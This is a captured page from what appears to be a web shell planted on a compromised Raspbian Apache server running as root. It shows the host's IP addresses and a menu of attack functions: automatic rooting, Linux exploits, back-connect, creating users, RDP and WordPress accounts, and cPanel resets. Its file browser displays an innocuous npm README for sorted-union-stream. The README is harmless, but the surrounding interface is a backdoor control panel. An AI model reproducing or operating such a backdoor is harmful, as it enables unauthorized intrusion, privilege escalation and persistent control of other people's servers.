Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
sorted-union-stream /
[ HOME SHELL ]
Name
Size
Permission
Action
node_modules
[ DIR ]
drwxr-xr-x
.travis.yml
58
B
-rw-r--r--
README.md
1.39
KB
-rw-r--r--
example.js
313
B
-rw-r--r--
index.js
1.14
KB
-rw-r--r--
package.json
1.66
KB
-rw-r--r--
test.js
2.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# sorted-union-stream Get the union of two sorted streams ``` npm install sorted-union-stream ``` [](http://travis-ci.org/mafintosh/sorted-union-stream) ## Usage ``` js var union = require('sorted-union-stream') var from = require('from2-array') // es.readArray converts an array into a stream var sorted1 = from.obj([1,10,24,42,43,50,55]) var sorted2 = from.obj([10,42,53,55,60]) // combine the two streams into a single sorted stream var u = union(sorted1, sorted2) u.on('data', function(data) { console.log(data) }) u.on('end', function() { console.log('no more data') }) ``` Running the above example will print ``` 1 10 24 42 43 50 53 55 60 no more data ``` ## Streaming objects If you are streaming objects sorting is based on `.key`. If this property is not present you should add a `toKey` function as the third parameter. `toKey` should return an key representation of the data that can be used to compare objects. _The keys MUST be sorted_ ``` js var sorted1 = from.obj([{foo:'a'}, {foo:'b'}, {foo:'c'}]) var sorted2 = from.obj([{foo:'b'}, {foo:'d'}]) var u = union(sorted1, sorted2, function(data) { return data.foo // the foo property is sorted }) union.on('data', function(data) { console.log(data) }); ``` Running the above will print ``` {foo:'a'} {foo:'b'} {foo:'c'} {foo:'d'} ``` ## License MIT
Close